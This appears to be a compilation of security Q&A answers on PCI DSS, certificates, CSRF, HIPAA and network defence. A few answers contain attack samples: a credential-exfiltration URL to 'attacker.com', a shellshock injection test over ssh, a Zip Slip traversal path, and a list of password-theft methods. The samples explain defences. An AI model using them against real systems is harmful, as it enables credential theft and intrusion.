Yes, it's in scope.  There's actually a pretty thorough and explicit guide from the PCI Security Standards Council (the DSS people) to your exact question here:

Information Supplement: Protecting Telephone-based Payment Card Data

Which makes reasonably clear statements like this about card numbers:

  Call centers will need to ensure that PAN data is rendered unreadable
  (for example, encrypted using strong cryptography) when stored.

  This is part of PCI DSS Requirement 3.4 and includes ensuring PANs
  stored within the QA/recording and CRM solutions are encrypted using
  strong cryptography, or are otherwise rendered unreadable.

and this about CVV:

  It is a violation of PCI DSS Requirement 3.2 to store any sensitive
  authentication data, including card validation codes and values, after
  authorization even if encrypted.

  It is therefore prohibited to use any
  form of digital audio recording (using formats such as WAV, MP3, etc.)
  for storing CAV2, CVC2, CVV2 or CID codes after authorization if that
  data can be queried; recognizing that multiple tools exist that
  potentially could query a variety of digital recordings.

...and it goes into all the other ways call centers and recordings are impacted (e.g., network encryption, authentication and authorization, etc. etc.)


Collecting Information from CVE and MSB to write proof-of-concept

When exploits are first posted on CVE or others, the exploit discoverer usually provides code/description/POC to the vendor of the affected product.

This allows them to build a fix or patch.

If the information was provided publicly, it would allow any attacker to build an exploit.

The information posted publicly is enough to let sysadmins understand what they need to do immediately, before a patch becomes available.


If you are using anonymous ciphers (ADH etc) you don't exchange certificates.
But in this case you need another way of identifying your peer, because identification is no longer done with the certificate. And without identification of the peer you are open to man-in-the-middle attacks.


How can I figure out which OCSP URL should be used for a certificate with OpenSSL?

This information is exposed when you use openssl x509 with the -text option:

$ openssl x509 -in cert.pem -noout -text

It's visible in the x509v3 extensions block:

Authority Information Access:
  OCSP - URI:http://ocsp.int-x3.letsencrypt.org
  CA Issuers - URI:http://cert.int-x3.letsencrypt.org/

If you are only interested in this information, you can directly use -ocsp_uri instead of -text:

$ openssl x509 -in cert.pem -noout -ocsp_uri
http://ocsp.int-x3.letsencrypt.org


Is accession number+service (CPT code)+date of service considered PHI (protected health information) under HIPAA?

I've answered this myself months after asking here based on HIPAA law (see page 66 - section 164.514).

To summarize: accession numbers (a unique identifying number) should be removed when de-identifying clinical data before being used for research purposes.  However, using accession numbers (without connecting to detailed patient data) for routine business purposes (in say generating doctor's overdue worklist) over unencrypted emails is probably fine, but the law is murky enough that you may want to avoid doing anyway.

An accession number on its own is a meaningless 6-10 digit number tied to each service done at some specific hospital.  Without having access to that hospital's specific database that ties  accession numbers to a specific service done on a specific patient, you cannot identify a patient.  You can easily argue in this sort of scenario, an accession # is not PHI and HIPAA specifically has an exception for experts determining that the risk that this number could be used to identify someone is negligible (as in this case).

However, if you are de-identifying clinical data (say an actual MRI scan or the detailed test outcome), it would be prudent to remove all accession numbers.  This prevents someone from using the normal database system to see who is tied to an accession number, and then using the poorly de-identified data to get detailed records they couldn't otherwise get.


Contrary to the intuition, fact that https://foo.com changes to http://foo.com in modern browser means  foo.com does support https, and whoever is issuing the redirect has certificate for foo.com (and not any certificate, one that your browser trusts). Otherwise server at foo.com wouldn't be able to instruct your browser to redirect, because redirect command (Location: http://foo.com in combination with proper status code) is part of http protocol, which browser does not start to speak to the server in until the SSL handshake completed successfully.


The detection of PDF.UrlMal-inf [Trj] is related to the PDF contents: the file itself isn't harmful, but contains URLs (links) to sites that have been found malicious. That's why an empty file can never be infected with a PDF.UrlMal-inf.

Search your .docx file for hyperlinks.
Test these URLs with e.g. VirusTotal.
Manually remove the links that have been found malicious.
Convert the PDF again.

In order to neutralize the file, an AV would need to be able to create working PDF files.


How to safely allow scripts but preventing XSS?

Either run them in a cross-domain iframe, or use something like Google Caja to isolate them.


Does HSTS provide security advantages on private networks?

and assuming no systems or components on that network are compromised

...and assuming that nobody who has access to the systems or the networks has any bad intentions and can be trusted with visibility of any data passing through the network....then no, it adds nothing.

But those are very big assumptions.


Document-based exploits are directed not at the document itself, but rather at some vulnerability in the viewer. If you view the document in a program that isn't vulnerable (or in a configuration that inhibits the vulnerability), then you won't be exploited.

The real issue is knowing whether or not your viewer is vulnerable, which usually means knowing specifically what the exploit is. But there are alternate PDF viewers such as foxit or even Google chrome's built-in viewer that do not necessarily have the same vulnerabilities as Adobe's official viewer. This is not necessarily true for all vulnerabilities, so it's important to understand what you're getting in to ahead of time.

EDIT
If you find yourself frequently dealing with potentially malicious materials, it would be very wise to set up a hardened virtual environment. I'd recommend booting into a Linux system and running your target OS (usually Windows) in Virtualbox or a similar environment. Save a snapshot of the virtual OS, and then revert to that snapshot after you're done interacting with the malicious content. Also, it's not a bad idea to run the host Linux environment from a read-only installation (i.e. Live-CD).


Web service HMAC authentication/anti-replay

If you do your protocol over plain HTTP, then attackers meddling with the communication may drop, duplicate or reorder requests, within your time frame. They may also send to the client (respectively the server) some of its own requests as if they were responses from the server -- depending on your protocol, this may or may not be a problem, but it could be devastating.

You can lower the validity range of requests and responses by rejecting time stamps which are off by too much an amount, but this requires that client and server are properly synchronized, something which cannot be guaranteed on a general basis (many computers "out there" are off by several minutes, even hours, even years in some cases). So you cannot make the timestamp validity range sufficiently low to ensure decent security. To sum up, your protocol cannot be really resistant against replay attacks and variants, when played over an unprotected transport medium like plain HTTP. You can do some mitigations, to some extent, but at the cost of usability issues (because of a possible lack of clock synchronization).

The solution is then: use SSL (aka HTTPS in a Web context). SSL will give you all the replay protection you may wish for; it also brings encryption. With SSL, your homemade HMAC become redundant and you could simply forget them altogether.


Client — CertificateVerify during handshake

How the client has the private key of the certificate?

The central concept of certificate based authentication that the owner the certificate and only the owner has access to the private key. The proof of ownership of the certificate as then bound to signing something with the private key: everybody knowing the certificate (and the included public key) can validate the signature but only the owner of the private key can create it.

The certificate is issued from a certificate authority.

The certificate authority issues a certificate based on the certificate request from the client. This key pair consisting of private and public key is (ideally) created at the client side and the private key remains at the client. Only the public key is included in the certificate request (which is also signed by the private key).


Is it acceptable "allowed by default, disallowed for specific data/actions"?

That is a complete different paradigm where for a new application you
  identify what generic users cannot do and implement that security, not
  the contrary.

That sounds like an awful and insecure paradigm, too! What a huge design and development burden!

The secure paradigm is to block everyone from everything at the start, then add the privileges they need. This is called Security and Privacy By Design and Default.

If you do not know what the user needs to access when you are building something, then sure, you need to give the users access to everything and bar them from what you discover that you don't want them to have access to. Is this a secure method?

Um, no.

Over the past several years, developers have not been shown to be trustworthy in developing security with that paradigm. That's why regulations, design frameworks, and best practice says to not do that.

Could you end up with a secure result by bolting on restrictions after the fact? Sure. Could you do that consistently and reliably over time? History says 'no'.


Is there a standard order for the X.509 extensions of a certificate?

Extensions are unordered, so whatever order you prefer would be fine.
p.s. Does your organization own 4146 PEN number? As per IANA registry, this PEN number is owned by GlobalSign and you are not allowed to use it in certificate policies. And 2.23.140.1.2.2 is owned by CAB Forum, so you are not allowed to use this OID either.


Can we share a folder across regions for PCI Users

No. The requirement for getting out-of-scope for the non-CDE enviroment is that its totally isolated in such a way that the non-CDE enviroment - if totally compromised, this should read as "totally taken over and owned by the attackers" - should not be able to compromise the CDE enviroment - not even reduce the security the smallest bit. (CDE enviroment = "PCI Zone" in your question)

The security risk you expose the CDE enviroment for by exposing a read-only fileserver to the CDE Enviroment that is writeable from the non-CDE enviroment is that the server can be infected with a virus that originates from the non-CDE enviroment, that a PCI user might access and cause havoc inside the CDE Enviroment.

A better way to accomplish this transfer of information, is to transfer the information in such a way that it can never be interpreted as executeable files. Think a one-way RS-232-channel from non-CDE to CDE, that is handled very restrictive in the CDE enviroment. Best way to accomplish this is to use a RS-232 to optical fiber at the non-CDE end, and then a optical fiber to RS-232 at the CDE end, and then you only connect the transmit port on non-CDE to the receive port on the CDE side.
You must ensure that regardless whatever is put into the non-CDE end of the RS-232 channel, the CDE enviroment may not be affected security-wise.

This means you need to configure the RS-232 receiver in such a way so the charset is limited so even if a user copies a file off the server that handles the RS-232 receiver and for example, Changes the file extension from .txt to .exe, the system must stay safe. This means very restrictive settings on the RS-232 receiver.


How much information about our Security & Penetration Testing should we share with customers?

This will vary according to your business and the transparency you have with your customers. Most of the companies perform tests on their application and share with the customers the standards they have been tested against, but not the "step-by-step" of the testing.

For example, let's say you have a web application, you can mention to your customers that your application was tested against the OWASP web application standards. That should be enough to satisfy most of the customers.

If you deal with sensitive information, you may need to get certified in some regulations. For example, if you deal with credit card information, you need to be PCI-Certified. Once you get this certification, you just need to proof to your clients that you passed on PCI, but you don't necessarily need to describe every single test that was done.


Why does Amazon ask for the CVC/CVV if it bills without it?

TylerL already answered this on the related question; when you add a new credit card to your account, they ask for the code once to confirm that the card is physically present in the moment of adding.

This gives them a little more confidence that the card is legit, but still lets them offer one-click purchasing, etc.


Would Gmail server be able to protect me from phishing attacks if I'm using a stock email app on Android?

Spam and phishing protections are handled on the server side, not on the app. It is much easier to put all that processing power and the analysis and correlation on their servers than trying to do all that on a device or a browser.


Should I distribute Root CA or Intermediate CA certificates to client?

In general, a server must hand over the server certificate and the intermediate certificates.  To quote RFC 5246 (emphasis mine):

  If the server is authenticated, its certificate message must provide a
  valid certificate chain leading to an acceptable certificate
  authority.

It is preferred that the server do this, as opposed to distributing intermediates to all the clients, because trying to make sure all your clients get and keep the proper intermediates is a lot harder than handing them out each time as part of the handshake.

Echoing this setup, you should try, instead of using the bundle as your target, using the -untrusted argument to openssl verify to integrate the intermediates:

  -untrusted file

  A file of additional untrusted certificates (intermediate issuer CAs)
  used to construct a certificate chain from the subject certificate to
  a trust-anchor. The file should contain one or more certificates in
  PEM format. This option can be specified more than once to include
  untrusted certificates from multiple files.


When can my house owner see what websites I visited?

OBS: This answer is considering you were accessing a HTTP (not HTTPS) website, through your browser without using any proxy or anonymous service like Tor.

Lots of things happen before something is even shown in your screen:

1) DNS requests and replies (to get the IP address of the website)

2) TCP packets stablishing a connection to the website server

3) HTTP packets exchanging requests and replies for files from that website (like .html files, images, and so on)

After your browser receives those files, it can then display the final result on your screen.

If your house owner can see which websites you are accessing depends first on how hard he monitors the network traffic.

1) WORST CASE SCENARIO: He sniffs on every packet that runs through his network. In this case he can most likely see which websites you are accessing. In this really paranoid scenario, he might even have access to information you exchanged with this website (like passwords, or forms).

2) He has some Logging or Parental Control feature enabled on his router. In this case he could see which websites you are accessing, but wouldn't have much detail on what you are doing after you accessed them.

3) He just doesn't really care about the websites you access at all.

Now it's up to you to see which of those scenarios mostly fit your current situation.

What you can do to access your websites with a more ensured privacy is to use a Proxy or Tor. Making it simple: this will send your requests to a server through a encrypted tunnel and this server will be the one talking to the website. The server will then take the websites response back to you.

No security guru here, just an enthusiat, so feel free to correct my answer!


Is there a database with XSS vectors, possible reference and test information?

Not that I'm aware of but OWASP wiki provides quite a lot of examples on the subject. Perhaps you can use this as input for your database, and identify the technical requirements for each of them to be usable.
That's definitely a good idea. Keep us posted :)


Can I have the same military grade security standards with Fedora than Red Hat?

First, there is no such thing like "military grade security" except for marketing. And since this is not a protected phrase you'll find this claim often in products which primarily consist of shallow claims without providing adequate security.

My guess is that the "government standards" you refer to are actually certifications like Common Criteria or the approval for use inside a specific classification level like NATO restricted, top secret or similar.  And this case the answer is that these certifications and approvals are only apply to the specific tested product version and do not apply to similar products. This means that any certifications for RHEL do not apply for CentOS although it is mostly the same and do not apply to Fedora which is already very different from RHEL.

And even if you use a product which got specific certifications or approvals you have to carefully read what is actually covered and how the product should be used in a certified/approved way. Usually only some functionality of the product is covered and only when used in a specific way or specific environments.


I can't help but feel this is a bit too broad as your asking 3 rather open ended questions but I'll attempt to answer each in turn:

Using a common URL for an admin area shouldn't be a problem - yes common "hacking" scripts will attempt common exploits against the common ones but that shouldn't mislead you into thinking you should hide the address or that you have any real appreciable gain in security from doing so. This is a case where Kerckhoffs's principle applies - you must assume a starting point that the attacker knows where the admin URL is.
Encrypting (or more specifically cryptographically hashing) the password using something like bcrypt should be a standard step, as you point out ssl will protect the password in-transit between client and server but hashing the password protects it at rest. Using SSL in the login process does nothing to protect you from the attacker who compromises the database and gets all your plaintext passwords.
Can't really answer this without knowing the use-case for the system. If it's only ever required to connect from one connection then VPN with a fixed IP can add an extra layer, with the risk that you point out that if you lose access to that connection and have no other way to access the system enough to change that IP restriction then you're kind of screwed. There are plenty of ways to put failsafes in for this sort of scenario but without much more detailed information on the specifics of the system and it its intended purpose it's far too broad a topic to address here.


Proof of concepts for published exploits

Yes, and no. Some developers will diff windows patches to find or discover vulnerabilities, or to corroborate public CVE information.

Most people I would imagine follow the "follow exploit tutorials/understand -> recreate exploit without help -> performing fuzzing/exploit dev on their own.

There are popular courses that teach exploit development using public exploits from the ground up.


Can a Windows 7 PC with folder sharing and remote desktop disabled, still be penetrated by a rogue computer on the same WiFi or LAN?

There are a few possible scenarios, even after assuming Man in the Middle is not happening.

Missing patches:

If your system is missing a patch that allows RCE, that is an easy win. There are plenty of remote exploits that exist, and new ones every so often.
Mitigation: Patch your system!

Are you on a domain?

You didn't mention Windows 7 Home or Professional. If your machine belongs to a Windows domain, and another machine on your network is compromised you are in trouble. Once the attacker gets Domain Admin, they can control your PC fairly easily.
Mitigation: Deactivate your network card and cry?

Default Configurations:

Windows has a number of insecure default configurations. LLMNR is one of them, and is easily exploited. Mitigation: Disable LLMNR & NBT-NS (see the bottom of that link)

PSExec

I know you mentioned that you are not sharing folders, but is port 139 and 445 closed? Read over the capabilities of PSExec.

Vulnerable Applications

Run NETSTAT on your PC. You may find that some applications you have installed are listening on a port for an incoming connection. If there is a vulnerability here you leave an opportunity for a remote exploit.

Mitigations?

Patching obviously. OSSEC is a nice tool that goes beyond AV in that you can get alerts when events happen on your PC that shouldn't typically happen. Also review your Windows Event Logs, check your AutoRuns (and use the VirusTotal integration), check your listening ports (with NETSTAT) and change passwords often.


Are there ways to guarantee network links are exclusively used only by specified hosts or components in the cloud?

This depends on your cloud provider. Most cloud providers will allow this if for instance you want  them to build a full private cloud for them. If you are looking for this option to provide security in terms of availability by offering connectivity from multiple data centers, then yes you could ask them. But do note this comes with a price tag.

How would we monitor these connections, or can we only monitor requests coming in to our servers or applications?

You could opt to procure IDS/IPS or WAF systems (virtual or physical) to monitor these lines. Note that in the end you are working with a cloud provider to save cost on maintenance or provide scalability, so most likely the cloud provider will have access to it

Is it just a case of trusting the provider's security claims and blaming them if there is a breach?

Probably they have their ass covered with regard to such demands and they will put blame on you.

What are some other cloud specific security challenges that we might not be considering and how do we mitigate those?

The most issues I see in the real world is with regard to hosting information in certain countries. For instance banking information from Switzerland and Luxembourg can only be hosted in those respective countries and no where else. The one fabulous thing about cloud computing is that you can have geographical failover, which means distributing your data across countries. So if you have requirements in place that require you to not distribute information to certain countries (e.g. in Europe many companies do not want to have their information sent to datacenters in the US) than you need to make those clear as well to your hosting provider.

Finally I would like to add these comments:

First you need to understand why you want to move things to the cloud. Is this for more flexible computing, less hardware maintenance, reduced costs for operating a data center, etc... or is it because someone saw that the "cloud" (did you know cloud can be replaced with just "somewhere on the internet") is cool and decided to move everything there because he heard other people were doing it.

If you do require flexible computing and scalability it might make more sense to build your own cloud infrastructure so you have full control of your environment.

Many people believe cloud computing is about automagically getting cost reduction by not having to host your own hardware, but it's at its core not different from using a managed hosting provider.

Cloud computing at its core is about scalability, flexibility and availability. If you require these properties it makes sense to move your applications into a cloud environment, if you don't then you need to reconsider.


Can a domain be taken by someone else if custom nameservers are misconfigured?

Domain names are registered to your user account on the registrar website. So the only way to get permanent access to a given registered domain is to either:

take ownership of the user account (stealing credentials)
transferring the domain to another account

Now that second part is usually locked when you create your domain, and you need to take active steps from your registrar account to allow such transfer to happen. allow-transfert is an option to enable DNS server to work with a primary/secondaries setup, not to transfer ownership.
In the end, should the nameserver be compromise, you always can revert the configuration on the registrar to use their own DNS or a new one you've just configured.
Of course, if someone has access to your own NS, they can do malicious things with your domain name, such as redirecting users to their own websites.


Why are two CSRF tokens (hidden field and cookie) necessary to mitigate CSRF attacks?

The pattern you are describing is known as "double submit cookie", and it is a common way to defend against CSRF. The point here is that it doesn't require the server to remember the token. The client sends the token in both a cookie and some other way, e.g. in a form field. The server checks that both tokens are identical.

This works because the attacker can not read or write the cookie, and hence can't reproduce it in the form field. That is why it has to be sent twice:

If there was only a cookie, it would be sent automatically on every request and provide no protection at all.
If there was only a form field, there would be nothing to compare it to and the attacker could just enter any value.

There are other defences against CSRF, that only use one token. The most common is to just store the correct value in a session variable on the server, and check that a form field matches it. No cookie is needed. However, this has the drawback that the server has to maintain a per user state.


Beginner level security for a CS student

Read Cryptography Engineering (an update from the bible Applied Cryptography) and keep it next to your bed.

Implement some of the code yourself, just so you understand what is behind most of the cryptography code. And then, start coding with OpenSSL.

Understand X.509, PKI and the core of the trust on the Internet. That's a must and you need to know it down cold

Know your network protocols as best as possible, and be able to start tcpdump/wireshark any time you need it, and follow a tcp/udp/ communication.

Security is about understanding how a system works to find its loopholes. Security is not about firing metasploit on random windows exploits and gaining a remote shell. That's for script kiddies.


Can I avoid DNS spoofing by typing the IP address?

This won't work for many websites. Many websites use virtual hosts where they host websites for multiple domains from a single webserver. In this case, the only way they know what site you're coming from is by the hostname your browser sends in the Host header of the HTTP request.

The way to do this would be to specifically add these entries into your /etc/hosts (or on Windows, \Windows\System32\drivers\etc\hosts) file and continue to type the domain out as usual.

Unfortunately, even this can be impractical. Not only can you disable features like DNS-based load balancing and location-based DNS results (should you travel), but you could also open yourself up to attack should a site change IP addresses. It wouldn't be unreasonable for an attacker to consider trying to acquire the IP addresses large sites may have relinquished.

TL;DR this

is inconvenient as hell,
can disable useful DNS-based features
doesn't really add much practical security, and
introduces as many new attack vectors as it closes


After a full web vulnerability scan, do we need to test each & every similar field for possible injections?

It all depends on how your application handles the fields.
If it handles them in exactly the same way then yes, in theory you only need to scan one of them. However this is not the normal case, applications usually use fields differently.

There are various ways to speed up ZAP scans - see this blog post: https://blog.mozilla.org/security/2013/07/10/how-to-speed-up-owasp-zap-scans/


Sql Injection - Possible exploitations on a real case

Sorry to all, I have just solved my problem. Next time I will be more self-confident.

I would like that someone deletes this message if it is possible. Otherwise, just forget it.

Sorry again.


Ports are like holes in a wall, they exist but if no one is paying attention to them its no use to throw things at them.

A program uses ports (or sockets) to connect with other devices in the same network (and through routing techniques the program may reach other networks). The way this works is that the program opens a connection to the outside and listens to that connection that it opened. The program has to do something special to listen to connections incoming from the outside (like HTTP servers do, they take every connection that goes to port 80 -for example- and process that request).

If the program does not do this something special thing, then even if a connection goes through that port, the program will not process it and it goes to void.

When you got the IP of your attacker you scanned for open ports, but the attacker did not have a program listening for connections from the outside world (or had it set in a way that it would only log your connection requests but do nothing with them).

The best way to protect yourself from attacks like this is by installing a firewall and maybe a network monitor, for example Little Snitch will tell you every time a program a connection happens to or from your computer, and you can block or allow that connection. You will see that at least in OSX there are many calls to Apple servers.


Block Pop Up window using Javascript code

No, it is not possible to prevent popups from within Javascript.

  Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web.

This is not correct. Sending data cross-origin is always possible. For example, you can put an image tag on the page with Javascript that has an URL like http://attacker.com/?username=foo&password=hunter2.

In general, browser extensions have more permissions and privileges than Javascript running on a page, so there is not much you can do from the page to protect against malicious extensions.


Does today's Shadowbrokers leak affect the average Windows user?

Microsoft have now provided an analysis of the exploits which were released in this dump.

Their analysis shows that the exploits included all have patches available for them, on suported versions of Windows.

So if a user is up to date with their patches and using a supported version of Windows these exploits should have no effect.

Where these exploits will have an effect is for users who haven't moved off out of support platforms like Windows XP.  These exploits represent an easily usable path to exploit systems like Windows XP and Windows server 2003, so this release should provide more impetous (if it was needed) to migrate to a supported platform.


If you know the password to the file, you can view the encryption type using Adobe Reader.  Go to File -> Properties -> Security and click the "Show Details" button.  See 'Screen Capture 1' below.  The security tab will also show you what version of Acrobat can open the file.  See 'Screen Capture 2'.

As shown below, MS Office uses 128 bit RC4, which is insecure, unlike AES encryption, and should not be used.


Given a hash, salt, charset and password length, how do you get the password without brute-forcing it?

Assuming a decent hash function, the only way to find the password in this situation is to guess it. This is true for any cryptographic hash function: it's the meaning of the preimage resistance property. This is true for any cryptographic hash; password hash functions have additional properties (salt and slowness) that make it more expensive to verify guesses.

Rainbow tables work by precomputing the hash of many passwords and storing them in a way that allows quickly finding the password from the hash if the password is in the precomputed set. In other words, you make a lot of guesses in advance.

“Conventional brute-forcing” is an ambiguous term. It may refer to trying passwords in a naive order (e.g. by increasing length). But you're free to make guesses in any order. For example, it makes sense to try 123456, password and iloveyou before quszoy and nyoktw. So make sure that you try guesses in an intelligent order.

You cannot find the password in any other way by computational means, but you may be able to find it by external means, such as:

Snooping: wait until the user enters their password and watch over their shoulder, listen to their keystrokes, …
Spyware: plant a keylogger (physical or software) on the user's computer and wait until they enter their password.
Data leak: read the post-it note on their monitor, or crack the bank safe and open the envelope.
Man-in-the-middle: listen to the communication between the user's computer and the password-protected server while they're typing their password.
Phishing: pretend to be the server system administrator or other authority figure and get the user to type their password on your computer instead of the legitimate one.
Social engineering: offer the user a lot of money or a bar of chocolate. If it fails, apply wrench cryptanalysis (or a rubber hose if you're a stickler for tradition).


Securing web applications with only a reverse proxy

Based on my understanding, I think you don't even need to get inside the internal network to prove that's it's a terrible idea. An attacker (who can be an ex-employee, third party contractor or an existing disgruntled employee) having some context about this insecure internal application, including details such as internal host address where the application is hosted, important functionalities of the application, some knowledge of overall look and feel of the application (this will obviously help in creating a phising website), and of course, the fact that application is vulnerable to common web application issues (especially Cross-Site Request Forgery).

Alright. Based on the above assumptions, I can think of the following possible attacks:

Tricking an internal user in making a state-changing request to the application by exploiting a CSRF vulnerability. This itself can be used to exploit other common vulnerabilities in the application by tricking an authenticated user to visit your website, where your JavaScript will be waiting to make requests to the application with your payloads, but with the victim's session cookies. You can send injection payloads for command injection, SQL injection, XSS, etc. Since you know your attack surface, you can craft the requests accordingly.
Exploiting a misconfigured JSONP or CORS implementation on the application. Again, for this, you'll be utilizing the CSRF vulnerability to make a request to the internal application with their session cookies. But this time, instead of performing a state-changing request, your malicious JavaScript will be reading back the sensitive response from the application (because of JSONP and CORS). You can read more about it here, here and here.
Phishing internal users (via DNS cache poisoning, maybe). Now since you know how the intenal application looks like, you can create a phishing website or just the login page for the application and host it on a public address. You can then either poison the DNS cache of the enterprise DNS server within the network, or by simply modifying the hosts file of internal systems (maybe by tricking them into downloading a malware). This last step is a bit tricky to exploit from outside the network, but I hope you get the idea. More details on DNS cache poisoning in case you are interested in further readings: DNS and DNS cache poisoning. Once you have that set up, there is nothing preventing you to phish the internal users because the application is not over TLS (no authentication)!


Security of several files all using same password/key (7zip, AES256)

How secure?

Your approach sounds good. But, read on.

  If so, is there a better tool/algorithm for that situation?

There always is, but nothing I'm familiar with is significantly better, this tool is likely good enough.

Details of 7zip encryption

There has been previous questions and answers on 7zip encryption:

How key_derivation and key_verification functions are implemented of a 7-zip archive's encryption mechanism?
Is 7-Zip's AES encryption just as secure as TrueCrypt's version?

From these it is easy to conclude the answer to your question: 7zip uses key derivation practices which appear pretty good. Also it uses salt. Therefore, all files will be most likely using different encryption keys.

Possible issues

Most likely the weakest link will be the entropy of password you have chosen, therefore choose the password carefully. A low-entropy password will still be easy to break. For instance, if password is a common dictionary word, it may take attacker only a few minutes to guess it. Please, use good password/passphrase choosing practices.

Do you intend to retain the original files? (I.e. is this a backup?) If yes, you must ensure the unencrypted files are never readable by attackers. If you erase the original files try to make sure files are entirely erased.

Last, but not least, remember that if you are using single password for all files, if attacker is able to guess that one key, they'll be able to decrypt all the files encrypted under that key.

DISCLAIMER: I have not reviewed the source code of 7zip, but answer is based on other sources.


How realistic is the threat of a program stealing data from RAM, theoretical or otherwise?

Its easy. With the right permissions there are several ways of doing this. From taking a memory dump of the program to reading/writing to it directly. Unless you have explicitly checked the permissions of all code running on your machine you should assume any code running as admin/root or as the user running who owns the process you are worried about can do it. In Windows for example there is ReadProcessMemory and WriteProcessMemory.

  Aside from the obvious Anti-Virus solution to mitigate a malicious program, how may RAM be protected?

Don't run any code you don't trust.
Run the code as a separate user under which no users other than admin have access rights.
Use methods like address space layout randomisation and memory encryption to make identifying where data is more difficult (although with full memory access it can still be done - afterall your program has to know where it is).


Is it common for all hard / USB drives to be accessible to everyone on a network?

These shares are call "administrative shares". They are there to enable the smooth working of pretty much all network management tools.

They aren't a security risk unless you explicitly make them one: by default, they aren't accessible but by an admin account and such an account and local admin accounts can only be used remotely if they have a password assigned to them (at least in all supported vers versions of windows, i.e. anything above XP).

Your other questions are irrelevant: if someone has access to an account on your machine that is member of the "administrators" group, they effectively have all rights on your machine (so musing about "limited capacity" for removable drives is the least of your worries if these access are unlimited).


You can encrypt the file with a randomly generated key. And then you can encrypt that key many different ways.

Some terminology and notation. Alice will have her password, pA which is processed by a Key Derivation Function (KDF). The result of running the KDF on pA will be Alice's Key Encryption Key (KEK). Let's just call the randomly generated key that encrypts the file, k.

So in Alice's case k will be encrypted with her KEK which is derived from running the KDF on pA. So

KEKA = KDF(pA)

WA = Enc(withKey: KEKA), data: k)

WA is the "wrapped" key. Along with the file encrypted with k, you store the wrapped keys: WA, WB, WC, ...

You may wish to look at  RFC 3394 for recommended ways to encrypted a key with a KEK.


The most obvious way is to locate the source of the attack and pull the cable. This shouldn't be too hard, since switches can report the amount of traffic they're handling in various ways (e.g. SNMP).

In terms of prevention, you'd take the same steps as you would on the internet - install rules that block IPs that send large numbers of SYN packets. Whilst this is still likely to make the first switch run slow, it segments the attack off from the rest of the network.


How to securely counter users from adding a single digit to their old password upon creating a new one?

You can't.  Your users are doing this because the reset mechanism has become obtrusive to them getting work done.  People are clever enough to get around any of the mechanisms you're going to devise.  Those that aren't will quickly learn from those that are.  Information like this travels fast.

If you somehow were to figure out how to counter the password1 password2 password3 scheme that people commonly use, you'll almost instantly be confronted with a new scheme.  1password 2password 3password.  Now you see a NEW pattern, and simply iterate all numbers.  So the user comes up with a yet better scheme.  passwordA passwordB passwordC.  You'll spend weeks coming up with a counter-measure, only to be defeated in 10 minutes by a clever person who thought of something you didn't.

The point being, that the users ability and cost to get past your counter-measures far outweigh your ability to continually develop new schemes to try to prevent them.

The solution is simply to stop seeing your users as adversaries who you're trying to defeat.  They aren't.  Users are simply trying to get things done, and you've put up a barrier to do so.  If this really bothers you so much, you need to adjust your attitude towards the users and work with them to come up with something that suits BOTH your needs, and doesn't create an adversarial relationship.


Does gitolite provide an attack vector for the shellshock vulnerability?

You can check it like this:

env LC_FB='() { :;}; echo vulnerable' ssh git@yourserver.com

With my gitlab user I saw vulnerable appear so I changed the shell to ZSH like this:

sudo chsh -s /bin/zsh git

Hope this helps.


Predictively Calculating the SHA512 of several files, including the one they are stored in

You can't. If you could, it would defeat the preimage resistance of the hashing function - you would be finding an input which corresponded to a given hash, effectively.

Additionally, if you could, so could an attacker, meaning they could generate a valid hash for any files they modified.

As worded, this question sounds like you've come up with a solution, but it might not be a viable one - it may be better to explain the problem that your solution attempts to solve, and see if anyone can suggest a more viable method.


Can unpacking a .zip file be harmful for Unix-like systems?

Yes, there can be.

The main risk with unpacking zips is that it overwrites an executable or config file. For example, if the zip contains a .bashrc and you extract it in your home directory then it could overwrite yours and the next time you log in, the attacker's code will run.

For a worst-case scenario, consider a webserver that open zip archives, maybe from user uploads, because unzip will run the the same privilege as the webserver process, likely being able to overwrite executables or config files belonging to the webserver. Hopefully the admin isn't sloppily running the webserver process as root.

There was a recent public vulnerability called Zip Slip which made this even worse: some unzipping tools were allowing filenames to contain .. within a zip archive, which makes this attack even more dangerous because a zip containing the following file will overwrite /bin/ls no matter where in your filesystem you're trying to extract it to:

../../../../../../../../../../../../../../../../../bin/ls

(or any other executable that the extracting process has permission to overwrite)

Proper zip extracting hygiene:

If possible, check the authenticity of the zip archive before you extract it (you got it from somewhere trustworthy, checksum, signature, etc).
If possible, avoid running unzip as root, that way system files can't be overwritten.
If possible, unzip into a new clean directory so that, barring chroot exploits like Zip Slip above, there is nothing in that folder to overwrite.


Send a form with sensitive information via SMS attachment

When the channel is seen as untrusted, a common way is to encrypt the information and send the password over a different channel.

Some examples actually used:

send the encrypted information by mail or via a web site, and the password on a physical paper send via postal mail
send the encrypted information by mail, and give the password by phone - this assumes that the phone is not a smartphone than can be used to read the mail...


It is a risk, it may even compromise the PSK of the broadcasted SSID if a rogue AP is set up for that purpose (to capture the handshake).

If any "Autoconnect to any Wireless network" toggle is available on those systems, you may be able to avoid the probe requests, but as far as I know, it's not usual to find access to that option.

Anyway, this talk about attacking clients and how to disable the probe requests of SSIDs on different devices may be interesting for you: http://www.slideshare.net/rootedcon/ral-siles-wifi-why-ios-android-and-others-fail-inexplicably-rooted-con-2013


How can I block certain IP addresses from my router?

I would suggest placing another box in front of your router and running pfSense.

Even Raspberry PI with pfSense can handle normal traffic but it'll choke with fast throughput. If you can afford to spend $169 or so, there are some more powerful hw firewall products with pfSense preinstalled at store.netgate.com.


Whereas Jari's answer correctly states measures against some MITM attacks, ARP spoofing is a specific MITM attack which is not prevented by enabling DHCP snooping or port-security, (which protect against DHCP race and CAM table attacks respectively).

ARP spoofing in particular can be protected against by

setting static ARP values
deploying dynamic ARP inspection (e.g. ARPwatch).

Please, also check this stackoverflow question, which lists different kinds of MITM attacks.


Methods to defend against rogue (mobile clients)

TLS Mutual Authentication is the only way where we can ensure the client talking to the server is a legitimate one.

You can perform the following things:

Create a self-signed certificate with certificate signing capabilities(CA=true)

For every user, which wants to connect to you, when it registers for your service for the first time, it needs to create a Certificate Signing Request (CSR) and will give it to you.

You need to sign the CSR using your self-signed certificate and give back the signed certificate. Note that, even if an MITM is listening in between, he will only have the CSR and the signed certificate in hand. To actually impersonate the client, the MITM also needs access to the private key generated while creating the CSR. This private key is never sent to you(and hence never sniffed by the MITM).

Now, whenever a client wants to talk to you, it will send a client hello and asks for your certificate. You'll provide it. Now, you will ask for the client's certificate(Mutual auth). Client will send you its certificate. Now, You will check whether the certificate presented is signed by your self-signed certificate. If so, send a nonce by encrypting it using the public key mentioned in client's certificate.

